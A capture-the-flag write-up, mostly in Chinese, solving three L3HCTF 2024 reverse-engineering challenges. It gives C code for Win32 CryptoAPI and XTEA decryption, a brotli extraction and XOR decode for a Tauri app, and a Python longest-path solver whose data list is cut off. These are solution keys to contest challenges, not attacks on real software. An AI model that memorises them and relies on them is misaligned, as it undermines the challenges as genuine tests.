Featured image of post L3HCTF 2024

L3HCTF 2024

UKFC 2024 L3HCTF Writeup

Re

Babycom

  • 想起安洵那个 crc 了,动调恢复函数,不过这个就恢复两层,加密就一个 xtea【密钥断在加密动调就有】和调 win32 api 的加密
  • 加密入口点:

  • win32 API 解密仿写【看了下微软文档然后直接喂给 gpt 解密】:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>

int main() {
    HCRYPTPROV hProv = 0;
    HCRYPTHASH hHash = 0;
    HCRYPTKEY hKey = 0;
    BYTE v70[16] = { 0xEA, 0x3E, 0xD4, 0x1C, 0x70, 0xCB, 0xD7, 0x47, 0x98, 0x5E, 0xCA, 0xDB, 0x53, 0x0C, 0x39, 0x2B };
    BYTE v78[32] = {0x0B,0xAF,0x51,0x21,0x9C,0x52,0x10,0x89,0x3F,0x2C,0x34,0x30,0x87,0x13,0xC1,0x4C,0xC1,0x7F,0x81,0x6E,0xBA,0xBD,0xDF,0x43,0x1A,0xF0,0xD7,0xDE,0x8E,0x66,0xB9,0x7C};
    DWORD v73 = 32;

    if (CryptAcquireContextA(&hProv, 0, 0, PROV_RSA_AES, CRYPT_VERIFYCONTEXT) &&
        CryptCreateHash(hProv, 32771, 0, 0, &hHash) &&
        CryptHashData(hHash, v70, 16, 0) &&
        CryptDeriveKey(hProv, 26126, hHash, CRYPT_EXPORTABLE, &hKey))
    {
        CryptDecrypt(hKey, 0, 0, 0, v78, &v73);
    
        // 输出解密结果
        printf("Decrypted data: ");
        for (int i = 0; i < v73; i++) {
            printf("0x%02X,", v78[i]);
        }
        printf("\n");
    }


    // 释放资源
    if (hKey)
        CryptDestroyKey(hKey);
    if (hHash)
        CryptDestroyHash(hHash);
    if (hProv)
        CryptReleaseContext(hProv, 0);

    return 0;
}
  • xtea 解密
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>  
#include <stdint.h>  
  
  
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {  
    unsigned int i;  
    uint32_t v0=v[0], v1=v[1], delta=0x114514, sum=delta*num_rounds;  
    for (i=0; i < num_rounds; i++) {  
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);  
        sum -= delta;  
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);  
    }  
    v[0]=v0; v[1]=v1;  
}  
  
int main()  
{  
    uint32_t v[8]={0x74C1B42A,0x05AA59D6,0x9C7F1073,0x62994940,0x8F51843C,0xF1AB373F,0x9661FE0E,0x6A41AD45};  
    uint32_t const k[4]={0x1CD43EEA,0x47D7CB70,0xDBCA5E98,0x2B390C53};  
    unsigned int r=32;
    for(int j = 0; j < 4; j++){
        uint32_t temp[2] = {v[2*j],v[2*j+1]};
        decipher(r, temp, k);  
        for(int i = 0; i < 2; i++){
            printf("%c",temp[i]&0xff);
            printf("%c",(temp[i]>>8)&0xff);
            printf("%c",(temp[i]>>16)&0xff);
            printf("%c",(temp[i]>>24)&0xff);
        }
    }
    return 0;  
}

ez_rust

  • 参考文章:

https://blog.yllhwa.com/2023/05/09/Tauri%20%E6%A1%86%E6%9E%B6%E7%9A%84%E9%9D%99%E6%80%81%E8%B5%84%E6%BA%90%E6%8F%90%E5%8F%96%E6%96%B9%E6%B3%95%E6%8E%A2%E7%A9%B6/

  • 与文章相同的方式,字符串搜索 index.html

  • 找引用(上图右边黄色地址):

  • 四个数据分别是文件名,文件名长度,文件地址,文件地址长度,所以我们找到第三个数据的地址处,dump 出 21865 个数据,使用 brotli 解压脚本进行解压
1
2
3
4
5
6
7
import brotli

content = open("dump.br", "rb").read()
print(len(content))

decompressed = brotli.decompress(content)
open("dump", "wb").write(decompressed)
  • Js 格式化以后就是一个简单的循环异或
1
2
3
4
5
6
s = "secret"
import base64
enc = b'JFYvMVU5QDoNQjomJlBULSQaCihTAFY='
m = base64.b64decode(enc)
for i in range(len(m)):
    print(chr(m[i] ^ ord(s[i%6])),end='')

DAG

  • 智障 gpt+ 人工审计还原 python 代码
  • solution 算法就是在求有向无环图的最长路径,func1 是连通判断

实际上不需要得到前面的 8 个字符串变量,把算法搞对,num23 知道了以后,num1 的值是有限的,直接试就行了

  • 计算路径:
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
def abc(abcarray, arr, lss, i):
    if abcarray[i] > 0:
        return abcarray[i]
    else:
        m = 1
        for index, word in enumerate(lss):
            if func1(arr, lss, i, index) == 1:
                m = max(m, abc(abcarray,arr,lss, index) + 1)
        abcarray[i] = m
        return m

def func1(arr, lss, i, j):
    if arr[len(lss) * i + j] != -1:
        return arr[len(lss) * i + j]
    else:
        s1 = list(lss[i])
        s2 = list(lss[j])
        l1 = len(s1)
        l2 = len(s2)
        flag = True
        n = 0
        if l1 - l2 == 1:
            while n < l2:
                if s1[n] != s2[n]:
                    if flag:
                        flag = False
                    else:
                        arr[len(lss) * i + j] = 0
                        return 0
                n += 1
            arr[len(lss) * i + j] = 1
            return 1
        else:
            arr[len(lss) * i + j] = 0
            return arr[len(lss) * i + j]

def solution(lss):
    abcarray = [-1] * len(lss)
    arr = [-1] * (len(lss) * len(lss))
    ans = 1
    for i in range(len(lss)):
        ans = max(ans, abc(abcarray, arr, lss, i))
    return ans

num2 = ['klmnowx', 'abcdefgiklmno', 'fgij', 'bcfghijklmno', 'fgjpqrst', 'uy', 'abceklmnouvw', 'pqrstuwy', 'fghijlno',
        'mnouvwxy', 'klmnopqt', 'klmnopqrstuy', 'aeuvw', 'muvw', 'abcdeklmnow', 'fhijpqrst', 'mpqrst', 'klmnoprt',
        'fghijklno', 'abcdelmo', 'klnuvwxy', 'klmnopst', 'abcdeklmnov', 'fghj', 'luvwxy', 'ghklmnopqrst', 'pqrstwx',
        'abcdklmno', 'cdefghij', 'pqrs', 'efghijklmno', 'fghjklmno', 'adeklmno', 'rs', 'kuvwxy', 'ghij', 'befghijklmno',
        'ln', 'hijklmnopqrst', 'ghpqrst', 'fgiklmnopqrst', 'pqrtuvwxy', 'pqrsty', 'jklmnopqrst', 'lnouvwxy',
        'klmnoqsuvwxy', 'abcdeghklmno', 'fi', 'fghijlnpqrst', 'abdklmnouvw', 'uwx', 'abcdekln', 'klmno', 'abcdekn',
        'abcdemuvw', 'pqs', 'fghijpqt', 'klmnopqrstuw', 'n', 'nopqrstuvwxy', 'abcdefghj', 'fghiklmnopqrst', 'klmnorst',
        'abcdemnouvw', 'fgh', 'pqt', 'abfghij', 'o', 'nouvw', 'abcdklmnouvw', 'abeklmno', 'abcden', 'klmnopqrstwxy',
        'q', 'fghijklmnoprt', 'klmnovx', 'abceuvw', 'klmnopsuvwxy', 'hj', 'abcdefgh', 'fhjklmno', 'klmnoquvwxy', 'wxy',
        'klmnopqrstuvwy', 'kln', 'abcdegklmno', 'mno', 'gklmno', 'klnouvw', 'fghijklmnoqr', 'fghijpqrst', 'mnuvwxy',
        'ghipqrst', 'klmnoqrtuvwxy', 'acdfghij', 'uwy', 'fghjklmnopqrst', 'mnpqrstuvwxy', 'abcdeknouvw',
        'abcdefghijklmno', 'klmnorsuvwxy', 'abcdeh', 'klmnost', 'iklmnopqrst', 'abcdegijklmno', 'fghijklmopqrst',
        'fghijklmnors', 'pqrstux', 'abcdefghijlm', 'abcdem', 'klmn', 'opqrst', 'ghjklmnopqrst', 'cdfghij', 'kluvwxy',
        'ceklmno', 'abcdeghijklmno', 'lmo', 'bklmno', 'fghijs', 'cdeklmnouvw', 'abcdeknuvw', 'cdklmnouvw',
        'abcdeklmnovw', 'klmnopr', 'fghijklmnopqrst', 'klmnopqtuvwxy', 'abcdefhijklmno', 'abcdeuv', 'abcdefhklmno', 'x',
        'abcdeouvw', 'fjklmno', 'a', 'klmnopqrstuv', 'abdklmno', 'fghijlm', 'bcefghijklmno', 'quvwxy', 'fghi',
        'klmnopqrstuwx', 'r', 'klmnuvw', 'kn', 'abcdeklmn', 'abcdeklmno', 'ps', 'klmnoqrt', 'pstuvwxy', 'klmnopqrsty',
        'lmn', 'd', 'abcdefghijmo', 'fghijmnopqrst', 'ghiklmno', 'mouvwxy', 'abcdeghj', 'fghijklmnopr', 'kmnouvwxy',
        'fghijklmnopqst', 'klmnox', 'nouvwxy', 'adefghijklmno', 'kmo', 'klmnovy', 'klmnopqrstuvwxy', 'cde', 'y',
        'klmnouy', 'fgklmnopqrst', 'nuvwxy', 'kluvw', 'abcdefghijkno', 'abcdekl', 'fghijno', 'ceuvw', 'abcdelo',
        'bcdklmno', 'gij', 'abcdeijklmno', 'klmnopqrt', 'abcdeklm', 'pqruvwxy', 'klnuvw', 'fijklmno', 'knpqrstuvwxy',
        'fghijklmnor', 'ace', 'abcdekluvw', 'deklmnouvw', 'lpqrstuvwxy', 'abcdefghiklmno', 'fijpqrst', 'klmnopqrstvwy',
        'mn', 'kmpqrst', 'ipqrst', 'fghijkmnpqrst', 'uvxy', 'bklmnouvw', 'fghijkmnopqrst', 'fghijklnopqrst',
        'kopqrstuvwxy', 'pqrstuwxy', 'abdeuvw', 'acefghij', 'jklmno', 'k', 'fghijqs', 'abcdefghijno', 'fghijklmnort',
        'adeuvw', 'vwx', 'gjklmno', 'hi', 'abcdefghijm', 'nuvw', 'fklmnopqrst', 'abcdehklmno', 'fghijklmnoqrt',
        'klmnoruvwxy', 'abcdemnuvw', 'klmnovw', 'klmnopqrstvw', 'klmnoqtuvwxy', 'klmnoy', 'wx', 'ouvwxy', 'lmopqrst',
        'fghjpqrst', 'lnuvwxy', 'vy', 'abdfghijklmno', 'kmnouvw', 'uvy', 'klmnoqst', 'klmnort', 'pqrstuxy', 'qs',
        'lopqrstuvwxy', 'mnouvw', 'abdeklmno', 'abcdelnouvw', 'pruvwxy', 'qrsuvwxy', 'cklmno', 'bc', 'acdfghijklmno',
        'j', 'fghijpqs', 'fghijknopqrst', 'fgijklmno', 'fghijnopqrst', 'mpqrstuvwxy', 'knopqrst', 'acdeuvw', 'lnouvw',
        'fghijklmn', 'klmnouvxy', 'abcdefghiklmno', 'abcdefghij', 'hij', 'abcdekuvw', 'klmnopqs', 'aklmnouvw',
        'acdefghijklmno', 'cfghij', 'fghijpqst', 'cfghijklmno', 'abcdefhi', 'kmouvwxy', 'pquvwxy', 'pqrstuy',
        'pqrstuwx', 'ce', 'klmnopqrstv', 'deklmno', 'klmnouvw', 'abcdeno', 'fghijkmo', 'knouvwxy', 'fpqrst', 'hklmno',
        'fghijkmopqrst', 'abcdefghjklmno', 'kmpqrstuvwxy', 'dklmnouvw', 'abcdefghijkmo', 'abcdel', 'giklmnopqrst',
        'buvw', 'klmo', 'klmnoqrsuvwxy', 'uvwy', 'abcdeluvw', 'klmnostuvwxy', 'bceklmno', 'fghijm', 'defghijklmno',
        'ijklmno', 'pqr', 'abcduvw', 'fghijklmnopqt', 'hijklmno', 'klmnoprsuvwxy', 'aeklmno', 'lo', 'klmnouxy',
        'cdklmno', 'fghijpr', 'muvwxy', 'lmnouvwxy', 'abce', 'klmnopqrst', 'pt', 'klmnoptuvwxy', 'abde',
        'abcdeghiklmno', 'klmnopqsuvwxy', 'klmnouvx', 'efghij', 'klmnouwy', 'bceklmnouvw', 'klmnuvwxy', 'ad', 'klmnoux',
        'gjpqrst', 'abcdegij', 'fghijkpqrst', 'fghijlmnopqrst', 'abcdefj', 'fghijklmnops', 'fghijklmnoqs', 'ghi',
        'fghijqst', 'abcdemo', 'abcdefghijkl', 'fghklmnopqrst', 'no', 'klmnopqrstuwxy', 'klmnopqrstvwx', 'abcdeklmnou',
        'abdefghijklmno', 'klmnopqrstxy', 'acfghij', 'pqrstuvwy', 'kuvw', 'abcdehi', 'de', 'fghijpq', 'lmuvwxy',
        'abcdelmouvw', 'abdfghij', 'knuvwxy', 'acde', 'cuvw', 'uw', 'kmopqrstuvwxy', 'abcfghij', 'fghij', 'abcdeklmo',
        'abcdehij', 'abcdek', 'fghijklmnoqrst', 'pqrstvx', 'klmnopqrstvx', 'abc', 'klmnoqrstuvwxy', 'acklmnouvw',
        'afghijklmno', 'abcdeklmnuvw', 'abcdei', 'fgiklmno', 'klmnopqrstuvw', 'abcklmnouvw', 'abcdelmnuvw', 'abcdehj',
        'abcdefghijlo', 'fghpqrst', 'acfghijklmno', 'abcdeg', 'klpqrst', 'klmouvw', 'bdfghijklmno', 'aefghijklmno',
        'fijklmnopqrst', 'fghijps', 'fghijklnpqrst', 'fghijklmnop', 'fklmno', 'klmnopqrstw', 'abcdfghijklmno', 'fj',
        'lnopqrst', 'fghijkmpqrst', 'fghijlnopqrst', 'ux', 'fgjklmno', 'fghijklmnopqr', 'abcdeghjklmno',
        'abcdefghijkmn', 'abcdegiklmno', 'abcdefiklmno', 'acdeklmno', 'klmnops', 'fghijklmnopqrt', 'fghijklmnoqt',
        'abcdegj', 'acdklmno', 'abcdeghi', 'abcdelmuvw', 'abcdefg', 'fghijkl', 'gjklmnopqrst', 'hipqrst',
        'klmnopqstuvwxy', 'lnuvw', 'ghijpqrst', 'pqrstuvwxy', 'klmnovwx', 'klmnoqstuvwxy', 'bcklmnouvw', 'abdeklmnouvw',
        'fghijklmnopq', 'abcdefghijk', 'abcdefghijklno', 'fiklmnopqrst', 'klmnopq', 'npqrstuvwxy', 'klmnopqrstwx',
        'abcdefi', 'lpqrst', 'ghijklmnopqrst', 'bd', 'bcuvw', 'hjklmnopqrst', 'adfghijklmno', 'klmnosuvwxy', 'louvwxy',
        'bce', 'gpqrst', 'fghijklmnot', 'wy', 'pqrstvwxy', 'fghijkln', 'lmouvw', 'gi', 'fghijn', 'fhklmnopqrst', 'ghj',
        'klpqrstuvwxy', 'abcdefgklmno', 'fghijlmo', 'fghijo', 'fhpqrst', 'klmnoprs', 'abcefghij', 'abcdeklno',
        'abcdefghijlmno', 'kmnpqrst', 'fghijklmnoq', 'abcdefhij', 'fghijklmnopt', 'klmnopt', 'abcdefklmno', 'abcdelno',
        'pqrstw', 'fghijlopqrst', 'bfghij', 'abuvw', 'abcdefghijln', 'ac', 'aefghij', 'prs', 'lmnopqrstuvwxy',
        'abcdefghijn', 'klmnopqrstux', 'luvw', 'giklmno', 'kpqrst', 'jpqrst', 'fghijrt', 'fghijlo', 'abcdefij',
        'fghijklmnorst', 'fghijqrst', 'tuvwxy', 'fghijlmopqrst', 'klmnouwxy', 'bdeuvw', 'fghijprt', 'klmnoprst',
        'pqrstuvy', 'fghijpqrt', 'fgj', 'pqrstvxy', 'abdefghij', 'abcdegh', 'abefghij', 'lno', 'klmnopuvwxy',
        'klmnouvwxy', 'fghijrst', 'cd', 'euvw', 'hijpqrst', 'pqrst', 'klopqrst', 'gijpqrst', 'klmnopqrs', 'fghijk',
        'klopqrstuvwxy', 'rtuvwxy', 'klmnorstuvwxy', 'stuvwxy', 'abcdevw', 'cdefghijklmno', 'bdeklmno', 'pqstuvwxy',
        'fghipqrst', 'fghijpst', 'kmn', 'mo', 'abcdeuw', 'qst', 'fghijklmnost', 'klnopqrst', 'abcdekm', 'abcdefgj',
        'klmnopqrstuvy', 'kouvw', 'abcdelmnouvw', 'abefghijklmno', 'fgipqrst', 'klm', 'klmnopstuvwxy', 'abcdekmno',
        'fghijmno', 'pqrstvw', 'kmouvw', 'cdeklmno', 'st', 'fij', 'fhiklmno', 'abcdefghklmno', 'lmnuvwxy', 'klmnovwy',
        'klmnow', 'mnuvw', 'fghijklmnpqrst', 'klmnoxy', 'fghklmno', 'b', 'lopqrst', 'pqrstuvw', 'abcdekmouvw',
        'abcdeklmnouw', 'acduvw', 'klmnoq', 'bde', 'pqrstxy', 'qrs', 'bcdeklmnouvw', 'abcdekmo', 'abcdefghijkn', 'kno',
        'abcdefghijklm', 'abcdefgij', 'kmopqrst', 'kmnuvwxy', 'pqrstuvwx', 'fghijkmn', 'acdefghij', 'fghijmn', 'qr',
        'l', 'kmnopqrstuvwxy', 'abcdefghijl', 'afghij', 'auvw', 'abcdew', 'klmnopqrstwy', 'adfghij', 'abcdeghij',
        'lmopqrstuvwxy', 'abcdefghijklmn', 'uvx', 'km', 'abcdefijklmno', 'abcdeij', 'pq', 'lnpqrst', 'bdfghij',
        'abcdefhj', 'mopqrstuvwxy', 'fghijklmnopqs', 'fghijqt', 'ade', 'abcdejklmno', 'fghijklmpqrst', 'pqrstuvxy',
        'mouvw', 'mopqrst', 'lmnopqrst', 'abcdefhjklmno', 'acdklmnouvw', 'bcklmno', 'nopqrst', 'qrt', 'fghijlmnpqrst',
        'pqrstuv', 'klmnos', 'pqrstwxy', 'fgjklmnopqrst', 'pqrstuw', 'klmnopqrstuvxy', 'fhijklmno', 'abcdekmnuvw',
        'ghjklmno', 'klmnoprtuvwxy', 'abcdefghijlmn', 'klmouvwxy', 'abcdegjklmno', 'p', 'hiklmnopqrst', 'rstuvwxy',
        'gh', 'cdfghijklmno', 'klmnou', 'iklmno', 'klmnopqrstvxy', 'lmpqrstuvwxy', 'prtuvwxy', 'klmnovwxy', 'pqst',
        'klmnortuvwxy', 'lmnpqrstuvwxy', 'fghijmpqrst', 'ghiklmnopqrst', 'klmpqrst', 'klmnoprstuvwxy', 'ghklmno',
        'fghijopqrst', 'klmnoqruvwxy', 'abcdeklmouvw', 'ae', 'abcfghijklmno', 'vw', 'fghijr', 'kmnpqrstuvwxy',
        'fghijklpqrst', 'vwxy', 'uxy', 'cklmnouvw', 'abcdefghijkm', 'uvw', 'bcd', 'bcefghij', 'abcdeiklmno', 'klmnot',
        'cduvw', 'fghijmo', 'eklmnouvw', 'klmnopqrstuwy', 'kmnuvw', 'lmouvwxy', 'abcdefghijlmo', 'cefghij', 'klmnoqs',
        'klmnouwx', 'kmuvwxy', 'ceklmnouvw', 'fghijklmnoqrs', 'abduvw', 'abceklmno', 'ghijklmno', 'abcdefghijmn',
        'bcdfghij', 'pqrstvwx', 'fghijlpqrst', 'gijklmnopqrst', 'abcdelnuvw', 'pqrstvwy', 'pr', 'fghijklmnos', 'c',
        'fghijklmno', 'abcdefghijkmno', 'abcuvw', 'abcdev', 'abeuvw', 'pqrstuvx', 'klo', 'fghijln', 'klmnpqrstuvwxy',
        'abcdefghijlno', 'fghijklmnopst', 'acd', 'gipqrst', 'w', 'abcdenuvw', 'deuvw', 'abcdeklmnouvw', 'fg', 'cdeuvw',
        'lmnuvw', 'abcdenouvw', 'klmnoqt', 'hklmnopqrst', 'klmnouvwy', 'gijklmno', 'klmnopqrst', 'fghijmopqrst', 'kmno',
        'f', 'uv', 'fhij', 'knuvw', 'klmnor', 'klnouvwxy', 'bcdeuvw', 'bdklmno', 'abklmnouvw', 'abcdehjklmno', 'bcde',
        'fghijklmo', 'abcdefghijklmo', 'ko', 'abcdeklmuvw', 'bcdefghijklmno', 'beuvw', 'qstuvwxy', 'aeklmnouvw', 'h',
        't', 'kmuvw', 'fhi', 'fjklmnopqrst', 'hiklmno', 'fhipqrst', 'qrtuvwxy', 'abcdeklnuvw', 'fghijqrt', 'pqrstx',
        'bdefghijklmno', 'gj', 'abcdelmno', 'abcdefjklmno', 'fhjpqrst', 'klnpqrst', 'fgijklmnopqrst', 'abcdelm',
        'fghijrs', 'klmnouw', 'fhklmno', 'abcdeln', 'fgijpqrst', 'fghijklmnoqst', 'abeklmnouvw', 'klmuvw', 'i', 'lmno',
        'fghijklo', 'fghijkm', 'g', 'adklmnouvw', 'be', 'abcdefgjklmno', 'prst', 'puvwxy', 'qrstuvwxy', 'klmnov',
        'klmnopqrstuvwx', 'acefghijklmno', 'fghijpqrs', 'fhj', 'abklmno', 'abcd', 'fiklmno', 'ijpqrst', 'fghijnpqrst',
        'lmnouvw', 'suvwxy', 'knouvw', 'duvw', 'fghijkmno', 'bdefghij', 'aceklmno', 'fgklmno', 'fghijst', 'adefghij',
        'fghijklmnopqrs', 'bcdefghij', 'abcdefghijko', 'klmnotuvwxy', 'klmnopruvwxy', 'klmnovxy', 'qtuvwxy',
        'fhjklmnopqrst', 'klmnoqrst', 'prt', 'fghijt', 'uvwx', 'abcdekmnouvw', 'dfghij', 'abcdehiklmno', 'klmnopqrstu',
        'adeklmnouvw', 'abcdefghijmno', 'klmnopquvwxy', 'abcdefghijkln', 'mnpqrst', 'fghijlmn', 'lnopqrstuvwxy', 'pqrt',
        'fghijpt', 'abcde', 'ij', 'bcdklmnouvw', 'fghijkn', 'pst', 'bdklmnouvw', 'abcdeko', 'fh', 'fjpqrst', 'fghijqr',
        'beklmno', 'fghijklopqrst', 'lmuvw', 'klouvw', 'fghijpqr', 'abcdegi', 'psuvwxy', 'klnopqrstuvwxy', 'abcdelmn',
        'fhiklmnopqrst', 'fghijprst', 'lnpqrstuvwxy', 'qruvwxy', 'aduvw', 'abcdekmuvw', 'adklmno', 'abcdeu',
        'cefghijklmno', 'lm', 'hjklmno', 'abcdefghijklo', 'klmnoqrs', 'fghijko', 'ouvw', 'pqrstu', 'mnopqrst', 'louvw',
        'prsuvwxy', 'abcdekno', 'klmnopqruvwxy', 'kpqrstuvwxy', 'abcdefgijklmno', 'klmnors', 'abcdefghijo', 'npqrst',
        'knopqrstuvwxy', 'vx', 'fghijqrs', 'klmnopqrstuxy', 'u', 'aceuvw', 'klmnopqrtuvwxy', 'uvwxy', 'fipqrst',
        'klmnowxy', 'befghij', 'gklmnopqrst', 'abe', 'mnopqrstuvwxy', 'fghijklmnoprs', 'abcdeo', 'eklmno', 'fgi',
        'fghijlmpqrst', 'qt', 'abcdefghi', 'bcduvw', 'bduvw', 'klouvwxy', 'kouvwxy', 'fghiklmno', 'abcdemno',
        'pqsuvwxy', 'ab', 'klmnopqrstvwxy', 'pqrstv', 'abfghijklmno', 'beklmnouvw', 'fghijklm', 'pqrsuvwxy',
        'acdeklmnouvw', 'vwy', 'ghjpqrst', 'fghijl', 'klmnopqrstvy', 'abcdelouvw', 'fhijklmnopqrst', 'klmpqrstuvwxy',
        'abcdef', 'bcfghij', 'fghijkno', 'kopqrst', 'rsuvwxy', 'abcdekmn', 'aklmno', 'dfghijklmno', 'abcdeklouvw',
        'klmnpqrst', 'abcdeklmnouv', 'knpqrst', 'aceklmnouvw', 'kl', 'fghijprs', 'rt', 'klmnopqrsuvwxy', 'bfghijklmno',
        'klmnouv', 'abcdefh', 's', 'klmnouvwx', 'fghijp', 'uwxy', 'fghijq', 'klmnoqr', 'vxy', 'fgpqrst', 'fghijlmno',
        'defghij', 'pqtuvwxy', 'dklmno', 'klno', 'klmnowy', 'abcdemn', 'abcdeklnouvw', 'ptuvwxy', 'abcdehijklmno',
        'acuvw', 'bcdfghijklmno', 'abcdemouvw', 'abcdefgi', 'opqrstuvwxy', 'v', 'lmpqrst', 'abcdeuvw', 'abcdekouvw',
        'qrst', 'klmopqrstuvwxy', 'prstuvwxy', 'lmnpqrst', 'pqrstvy', 'abcdfghij', 'klmnop', 'ijklmnopqrst',
        'klnpqrstuvwxy', 'klmnopqr', 'xy', 'abcdeklo', 'abd', 'klmnouvy', 'klmuvwxy', 'abcefghijklmno', 'fghijkopqrst',
        'fghijklmnoprst', 'ruvwxy', 'm', 'e', 'abcdej', 'hpqrst', 'bceuvw', 'fghijmnpqrst', 'pqrstwy', 'klmnopqrstx',
        'qsuvwxy', 'fghijknpqrst', 'bcdeklmno', 'klmopqrst', 'bdeklmnouvw', 'klmnopqst', 'klmnopqrstuvx', 'acklmno',
        'hjpqrst', 'abcklmno', 'rst']
num3 = ['ysvydhncudvxqgub', 'jxomzgqmpccovmyy', 'hxiwwqdowwbdzrql', 'zqfykhyqgxpuedhx', 'vhszanyizlocrcta',
        'dthywqimclejyrxf', 'pxvnsacefcaeqwpn', 'eibroystpzgkhwkt', 'efioczniyhzlkgxx', 'jbafyifjrdsevjlt',
        'noggsbrxuzxxxpnv', 'usxugdobkxyvebgp', 'omppygjbdzvfncoh', 'lszhxcyfyhbezqpl', 'sywbjmfmigsrdhbe',
        'kmitesfpzturedvn', 'fhccayoplynamcmf', 'xwkxxvmngwdkktcq', 'bkdetlrdtrvxtwnm', 'otbqjkibazuiuzjc',
        'bvdlpsuozpxykhso', 'sfkdemywenvutigi', 'zlsgexavkjlbniyz', 'omvmljrelegkrnly', 'ncfqxwbgspmmxequ',
        'nsnusovrqfyjqcmi', 'xmfltlmbucykoygu', 'znevkwdmcjkxazvx', 'qmmlumphgweyuqll', 'vvwllhnjjilkkfbr',
        'tfczebbrmcwkijpy', 'dyqudxtooxmzaivg', 'qabmbvkkacpipzwv', 'ousivmwzqkzowbsf', 'wiajbnzcyczvdkme',
        'jtvkqglawuiitvne', 'hynkguvzlahiaweu', 'dcdhzutcxsrwhtiu', 'sjkbkfbzcltyhkzc', 'vmtoulenvyzgmzph',
        'hhpjlqospgyrpjnr', 'trxsiqvzjdsumnbx', 'ifmzrmfjlfbxrspp', 'zuybbnxweoodzrcp', 'dqselcmauqpdbvji',
        'ucdmjxlnodsqbtpf', 'yxqxoqyqsuxbvvwh', 'jifmvnffunc2jlgdux', 'fttypgxftlzhrjhu', 'rzmkqtaejgzrwvht',
        'fylzmnvoslrjeuhu', 'xxhmsywcfchxybtz', 'nivviopjjkilmfnt', 'vlvtonhigprfttuk', 'cwgnurrfabcfotdmj',
        'erjxfseyzaygaujp', 'nrcqdwczglmcvinq', 'dqbyglmywihtexid', 'vqggccuiimjqqpuz', 'wbvvklwhouxxcbzg',
        'jxstdmcbouqvysje', 'envdnanmuewgheqr', 'oxjeneckyoxdypwq', 'ityoxogkfmlasgfq', 'tgpkcweywtqopjnc',
        'hepoijpjgvckkqzc', 'ubppuzmagmjgmjnf', 'snvaiqinphtkbxtc', 'wvdwymqejrygisbn', 'kmbwjynfbwyablvs',
        'rsscpinfcegvnulj', 'oplzudhvjaumtavx', 'oionhndcrjvfexir', 'cxxlrudrixtmjsgw', 'sfngfbrksewwbwuo',
        'wngezcjkxlftmure', 'xgkmmsvjjvtlwyko', 'dfaihamfjrwobkai', 'ybzlbmtejcbhkbqn', 'yvgttkpmodjrdjaj',
        'wsfkdifjxsisyazp', 'btdahuinzvvmyuti', 'sppdjjphoadtnxqz', 'idikaxmkupaaeyvd', 'bxmusrwhsuglelsa',
        'wllftkyuyjwumzfz', 'lsrfakcruqfghhqr', 'oitbsfztaayzgttw', 'qvdaclqbkxzxtvji', 'hqtnylqopcuyitvv',
        'dovrsivynjuycgob', 'zbeexmgffbvgyukt', 'jnyrkwuketocbnlp', 'kesivzsfimkupknz', 'fvctuhkhcsxgpnlc',
        'geyiflxobsqqgysp', 'vdhnckkljiwiylkc', 'jxixmpjvkuisogjx', 'ggmgthlqqfjzvsiv', 'nkdbbqswrytidodb',
        'cvnxasfxcyyprwky', 'msptawajcgigotxx', 'lggqfreicrrzgqug', 'pywexuvmpapzhhmk', 'yjfzlaazckdxqhpk',
        'gxopiqnejwahizvy', 'rwptjuqhjshtosim', 'zhszbxltmwjfbcnn', 'hznbmqrhucjlhtev', 'repwvulbjzulzqlm',
        'juemhyiaujdhjwda', 'iphegtklhgyiabcof', 'tpqxoalgjntzhxph', 'ahnrxtoyzqrqrxce', 'ljsunmfpleczezfi',
        'flqbbwjpvmpiagkm', 'enxrdnasgsrczncm', 'setirvmdopdbgqqi', 'uuyoeqtcgvygmlbd', 'gznmxhdzpgclmmce',
        'wrqmvtilsmjrfruj', 'nzbqahmftsbygrje', 'nodxqfwosevxikai', 'ynzmckxtfampkdcb', 'ishsysxcjavxukfq',
        'mbwcnmktksqoptdx', 'ybpgwitxuarhyuud', 'odkhmislpnpjltvc', 'imlknoihasmgbjle', 'autoweexfbmsnamc',
        'pzddxvvmnmujzovy', 'zbklmwsqltyiqjaq', 'wsfezmwlwnovzfnq', 'ipvtflaxlabczbjwg', 'xmeypiupgboeikma',
        'qmhxpnusoafktsrp', 'akbzwaoevusmqhjy', 'ptnrluxfiaoedirs', 'fkkujjetvujaffev', 'iqlaebkqlabcuugvd',
